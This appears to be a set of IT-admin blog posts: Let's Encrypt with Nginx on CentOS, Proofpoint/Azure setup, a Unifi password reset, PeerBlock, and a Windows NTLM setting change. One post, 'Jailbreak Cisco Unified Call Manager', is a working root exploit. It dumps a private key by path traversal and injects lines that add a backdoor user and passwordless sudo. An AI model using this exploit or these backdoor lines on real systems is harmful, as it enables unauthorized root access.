Nginx and Let’s Encrypt

Nginx and Let’s Encrypt

For those using a virtual server service like Vultr (this guide), Linode, DigitalOcean etc…

Let’s Encrypt is a new Certificate Authority (CA) that provides an easy way to obtain and install free TLS/SSL certificates, thereby enabling encrypted HTTPS on web servers. It simplifies the process by providing a software client, Certbot, that attempts to automate most (if not all) of the required steps. Currently, the entire process of obtaining and installing a certificate is fully automated on both Apache and Nginx web servers.

In this tutorial, we will show you how to use the certbot Let’s Encrypt client to obtain a free SSL certificate and use it with Nginx on CentOS 7. We will also show you how to automatically renew your SSL certificate.

Prerequisites

Before following this tutorial, you’ll need a few things.

  • A CentOS 7 server with a non-root user who has sudo privileges. You can learn how to set up such a user account by following steps 1-3 in our initial server setup for CentOS 7 tutorial.
  • You must own or control the registered domain name that you wish to use the certificate with. If you do not already have a registered domain name, you may register one with one of the many domain name registrars out there (e.g. Namecheap, GoDaddy, etc.).
  • A DNS A Record that points your domain to the public IP address of your server. This is required because of how Let’s Encrypt validates that you own the domain it is issuing a certificate for. For example, if you want to obtain a certificate for example.com, that domain must resolve to your server for the validation process to work. Our setup will use example.com and www.example.com as the domain names, so both DNS records are required.

Once you have all of the prerequisites out of the way, let’s move on to installing the Let’s Encrypt client software.

Step 1 — Installing the Certbot Let’s Encrypt Client

The first step to using Let’s Encrypt to obtain an SSL certificate is to install the certbot software on your server. Currently, the best way to install this is through the EPEL repository.

Enable access to the EPEL repository on your server by typing:

  • sudo yum install epel-release

Once the repository has been enabled, you can obtain the certbot-nginx package by typing:

  • sudo yum install certbot-nginx

The certbot Let’s Encrypt client is now installed and ready to use.

Step 2 — Setting up Nginx

If you haven’t installed Nginx yet, you can do so now. The EPEL repository should already be enabled from the previous section, so you can install Nginx by typing:

  • sudo yum install nginx

Then, start Nginx using systemctl:

  • sudo systemctl start nginx

Certbot can automatically configure SSL for Nginx, but it needs to be able to find the correct server block in your config. It does this by looking for a server_name directive that matches the domain you’re requesting a certificate for. If you’re starting out with a fresh Nginx install, you can update the default config file:

  • sudo vi /etc/nginx/nginx.conf

Find the existing server_name line:

/etc/nginx/sites-available/default
server_name _;

Replace the _ underscore with your domain name:

/etc/nginx/nginx.conf
server_name example.com www.example.com;

Save the file and quit your editor. Verify the syntax of your configuration edits with:

  • sudo nginx -t

If that runs with no errors, reload Nginx to load the new configuration:

  • sudo systemctl reload nginx

Certbot will now be able to find the correct server block and update it. Now we’ll update our firewall to allow HTTPS traffic.

Step 3 — Updating the Firewall

If you have a firewall enabled, make sure port 80 and 443 are open to incoming traffic. If you are not running a firewall, you can skip ahead.

If you have a firewalld firewall running, you can open these ports by typing:

  • sudo firewall-cmd –add-service=http
  • sudo firewall-cmd –add-service=https
  • sudo firewall-cmd –runtime-to-permanent

If have an iptables firewall running, the commands you need to run are highly dependent on your current rule set. For a basic rule set, you can add HTTP and HTTPS access by typing:

  • sudo iptables -I INPUT -p tcp -m tcp –dport 80 -j ACCEPT
  • sudo iptables -I INPUT -p tcp -m tcp –dport 443 -j ACCEPT

We’re now ready to run Certbot and fetch our certificates.

Step 4 — Obtaining a Certificate

Certbot provides a variety of ways to obtain SSL certificates, through various plugins. The Nginx plugin will take care of reconfiguring Nginx and reloading the config whenever necessary:

  • sudo certbot –nginx -d example.com -d www.example.com

This runs certbot with the --nginx plugin, using -d to specify the names we’d like the certificate to be valid for.

If this is your first time running certbot, you will be prompted to enter an email address and agree to the terms of service. After doing so, certbot will communicate with the Let’s Encrypt server, then run a challenge to verify that you control the domain you’re requesting a certificate for.

If that’s successful, certbot will ask how you’d like to configure your HTTPS settings:

Output
Please choose whether HTTPS access is required or optional.
-------------------------------------------------------------------------------
1: Easy - Allow both HTTP and HTTPS access to these sites
2: Secure - Make all requests redirect to secure HTTPS access
-------------------------------------------------------------------------------
Select the appropriate number [1-2] then [enter] (press 'c' to cancel):

Select your choice then hit ENTER. The configuration will be updated, and Nginx will reload to pick up the new settings. certbot will wrap up with a message telling you the process was successful and where your certificates are stored:

Output
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/example.com/fullchain.pem. Your cert will
   expire on 2017-10-23. To obtain a new or tweaked version of this
   certificate in the future, simply run certbot again with the
   "certonly" option. To non-interactively renew *all* of your
   certificates, run "certbot renew"
 - Your account credentials have been saved in your Certbot
   configuration directory at /etc/letsencrypt. You should make a
   secure backup of this folder now. This configuration directory will
   also contain certificates and private keys obtained by Certbot so
   making regular backups of this folder is ideal.
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

Your certificates are downloaded, installed, and loaded. Try reloading your website using https:// and notice your browser’s security indicator. It should represent that the site is properly secured, usually with a green lock icon.

Step 5 — Updating Diffie-Hellman Parameters

If you test your server using the SSL Labs Server Test now, it will only get a B grade due to weak Diffie-Hellman parameters. This effects the security of the initial key exchange between our server and its users. We can fix this by creating a new dhparam.pem file and adding it to our server block.

Create the file using openssl:

  • sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048

This will take a while, up to a few minutes. When it’s done, open up the Nginx config file that contains your server block. In our example, it’s the default config file:

  • sudo vi /etc/nginx/nginx.conf

Paste the following line anywhere within the server block:

/etc/nginx/nginx.conf
. . .
ssl_dhparam /etc/ssl/certs/dhparam.pem;

Save the file and quit your editor, then verify the configuration:

  • sudo nginx -t

If you have no errors, reload Nginx:

  • sudo systemctl reload nginx

Your site is now more secure, and should receive an A rating.

Step 6 — Setting Up Auto Renewal

Let’s Encrypt’s certificates are only valid for ninety days. This is to encourage users to automate their certificate renewal process. We’ll need to set up a regularly run command to check for expiring certificates and renew them automatically.

To run the renewal check daily, we will use cron, a standard system service for running periodic jobs. We tell cron what to do by opening and editing a file called a crontab.

  • sudo crontab -e

Your text editor will open the default crontab which is an empty text file at this point. Paste in the following line, then save and close it:

crontab
. . .
15 3 * * * /usr/bin/certbot renew --quiet

The 15 3 * * * part of this line means “run the following command at 3:15 am, every day”. You may choose any time.

The renew command for Certbot will check all certificates installed on the system and update any that are set to expire in less than thirty days. --quiet tells Certbot not to output information or wait for user input.

cron will now run this command daily. All installed certificates will be automatically renewed and reloaded when they have thirty days or less before they expire.

Proofpoint Essentials and Azure AD registration

Proofpoint Essentials and Azure AD registration

The instructions found on their website for setting up Proofpoint Essentials and connecting to Azure needs updating. Microsoft no longer allows users to access the “App Registration (legacy)” in order to get a KEY without a special character that isn’t supported by Proofpoint. You may have to generate dozens of keys to get one that Proofpoint will accept. Microsoft has also changed the name from Azure Active Directory to Microsoft Graph for setting domain read permissions.

Reset admin password for Unifi Wireless Controller

Reset admin password for Unifi Wireless Controller

Install Robo3T
Start the UniFi controller
Start Robomongo
Create a new connection in Robomongo, leave all settings as it is except the port which needs to be changed to “27117”
Click on save so that the settings are saved
Select the new connection in the list and click on “Connect”
In the left panel select ‘ace’. Then right click on ‘admin’ and select view document

1) Go here: https://quickhash.com/
2) Select “SHA-512 / crypt(3) / $6$” as the Algorithm
3) Put the desired password as your Input Data (this example uses “password”)
4) Use “9Ter1EZ9$lSt6” as the Salt. 5) Hit “Generate (Over Secure Connection

Jailbreak Cisco Unified Call Manager

Jailbreak Cisco Unified Call Manager

  1. Connect to the administrator CLI using SSH
  2. Run the command file dump sftpdetails ../.ssh/id_dsa. This should give you the private key of the SFTP user:
    admin:file dump sftpdetails ../.ssh/id_dsa
    -----BEGIN DSA PRIVATE KEY-----
    MIIBvQIBAAKBgQDD4rRO0aI3VTsEYIo48zHDipw7AXR+QmEVsSevdtNNMmWbFeHl
    6aQF7VzwoLzfa1eVpXwGCbk7m1/u7wY/mJNsrClNaPWfa0MbNFPdOI0o4IUA+LNO
    +6GNbDbWMPAdiuV0S/fyg7wUc2DcKTZX6mQuWbGaGbLk2bN1RxkVzqi4vQIVAJaq
    saqLZ10dIsbfk04LaOgxgkZBAoGBAKGquSl92E/ZMmQI/SzhPO9p0uyfhZR8uR2M
    a3R60EP1HyTg+DO6M8REzOSm1PTWpvr0XFAQULfxGZQyjcARIYPmmBSrqz7ETS3y
    bmZcJ19a38H1L2EUuOCO8A3q70NK2DMPoYBf6JV+b77shpz7aE+1Xd0rL3Tyqtzj
    JOFsyxkSAoGBAKmWRxB/pwGtu1eFc5Eb5xCRmVB7JP9xDpqW/DIz2LTxoZBSMRcJ
    5UdZ7ewVGIXYOjKvcR/ua3n6UBa0wBmYuHJ5erjpAHoR0JUjfpz9ONiX47OAKDav
    fLD2lIqnxzUz+QmHUVRiwcjd2AZhyzfChS40/9tKbBaqC2QYki7NKyfzAhUAhuPE
    PSfhcQWR3rOKaYUD85henvE=
    -----END DSA PRIVATE KEY-----
    
  3. Create a file on your local machine, containing the private key just obtained. We will use c:\temp\id.ots in this example.
    C:\>copy con c:\temp\id.ots
    -----BEGIN DSA PRIVATE KEY-----
    MIIBvQIBAAKBgQDD4rRO0aI3VTsEYIo48zHDipw7AXR+QmEVsSevdtNNMmWbFeHl
    6aQF7VzwoLzfa1eVpXwGCbk7m1/u7wY/mJNsrClNaPWfa0MbNFPdOI0o4IUA+LNO
    +6GNbDbWMPAdiuV0S/fyg7wUc2DcKTZX6mQuWbGaGbLk2bN1RxkVzqi4vQIVAJaq
    saqLZ10dIsbfk04LaOgxgkZBAoGBAKGquSl92E/ZMmQI/SzhPO9p0uyfhZR8uR2M
    a3R60EP1HyTg+DO6M8REzOSm1PTWpvr0XFAQULfxGZQyjcARIYPmmBSrqz7ETS3y
    bmZcJ19a38H1L2EUuOCO8A3q70NK2DMPoYBf6JV+b77shpz7aE+1Xd0rL3Tyqtzj
    JOFsyxkSAoGBAKmWRxB/pwGtu1eFc5Eb5xCRmVB7JP9xDpqW/DIz2LTxoZBSMRcJ
    5UdZ7ewVGIXYOjKvcR/ua3n6UBa0wBmYuHJ5erjpAHoR0JUjfpz9ONiX47OAKDav
    fLD2lIqnxzUz+QmHUVRiwcjd2AZhyzfChS40/9tKbBaqC2QYki7NKyfzAhUAhuPE
    PSfhcQWR3rOKaYUD85henvE=
    -----END DSA PRIVATE KEY-----
    ^Z
            1 file(s) copied.
    
  4. If you are using PuTTY, you will have to change the key format from OpenSSH to PuTTY using:
    C:\> puttygen c:\TEMP\id.ots
    

    Save the private key (with or without passphrase) to another file, e.g. c:\temp\id.ppk.

  5. Employ your favorite SFTP tool to connect as sftpuser to your CUCM. Here, we are using psftp.exe from the PuTTY team:
    C:\>psftp -2 -i c:\TEMP\id.ppk [email protected]
    Using username "sftpuser".
    Remote working directory is /home/sftpuser
    psftp>
    
  6. Get the file sftp_connect.sh:
    psftp> get sftp_connect.sh
    remote:/home/sftpuser/sftp_connect.sh => local:sftp_connect.sh
    psftp>exit
    
  7. You can open the file locally now in your favorite editor. Add the following lines after the first line. Make sure that your editor understands the difference between Windows and UNIX line endings! You can use UltraEdit for that task.
    chattr -i /etc/passwd
    chattr -i /etc/shadow
    echo 'jail:x:1337:1337::/tmp:/bin/bash' >> /etc/passwd
    echo 'jail:$1$knkuI5HP$sNn3SJJ/95E.9iD.vvnyw.:14714:1:99999:7:::' >> /etc/shadow
    echo 'jail ALL=(root) NOPASSWD: /bin/bash' >> /etc/sudoers
    chattr +i /etc/passwd
    chattr +i /etc/shadow
    
  8. Now we connect using the sftpuser again and replace the file sftp_connect.sh:
    C:\TEMP\>psftp -2 -i c:\TEMP\id.ppk [email protected]
    Using username "sftpuser".
    Remote working directory is /home/sftpuser
    psftp> del sftp_connect.sh
    rm /home/sftpuser/sftp_connect.sh: OK
    psftp> put sftp_connect.sh
    local:sftp_connect.sh => remote:/home/sftpuser/sftp_connect.sh
    psftp> chmod 555 sftp_connect.sh
    /home/sftpuser/sftp_connect.sh: 0644 -> 0555
    psftp>exit
    
  9. Back in the CUCM administrator CLI, we execute the command file get tftp os7920.txt to trigger our enhanced script. Yes, the command line says TFTP, not SFTP, that’s correct. Never mind. It doesn’t actually matter what you answer to the CLI questions, as long as the file (e.g. os7920.txt) exists and you answer y to the first question.
    admin:file get tftp os7920.txt
    Please wait while the system is gathering files info ...done.
    Sub-directories were not traversed.
    Number of files affected: 1
    Total size in Bytes: 22
    Total size in Kbytes: 0.021484375
    Would you like to proceed [y/n]? y
    SFTP server IP: doesNotMatter
    SFTP server port [22]:
    User ID: SoonToBeRoot
    Password: ***
    
    Download directory: InYourFace
    
    Could not connect to host doesNotMatter on port 22. Please verify SFTP settings.
    admin:
    
  10. Finally, you can connect to your CUCM using SSH, the user name jail and the password break and elevate your privileges by using sudo /bin/bash:
    login as: jail
    [email protected]'s password:
    
    -bash-3.00$ sudo /bin/bash
    bash-3.00# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    bash-3.00#
    
peerblock

peerblock

For those that have used peer guardian exclusively for the past few years, phoenix labs has release their new product, peerblock. PeerBlock lets you control who your computer “talks to” on the Internet.  By selecting appropriate lists of “known bad” computers, you can block communication with advertising or spyware oriented servers, computers monitoring your p2p activities, computers which have been “hacked”, even entire countries!  They can’t get in to your computer, and your computer won’t try to send them anything either.

Download peerblock.

cannot map to DFS/IFS shares on vista/7/8

cannot map to DFS/IFS shares on vista/7/8

On your Vista/7/8 PC do the following:

1) Click All Programs-Accessories-Run and type secpol.msc and click OK.

2) Verify if dialog box appears.

3) From Security Settings console tree, expand Local Policies then click Security Options.

4) In the right pane, scroll down to the setting called ‘Network security:Lan Manager authentication level Properties’ and double-click it.

5) Note the current value and change it to be ‘Send LM & NTLM – use NTLMv2 session security if negotiated’.

You should now be able to access network shares on any DFS/IFS system such as an AS/400.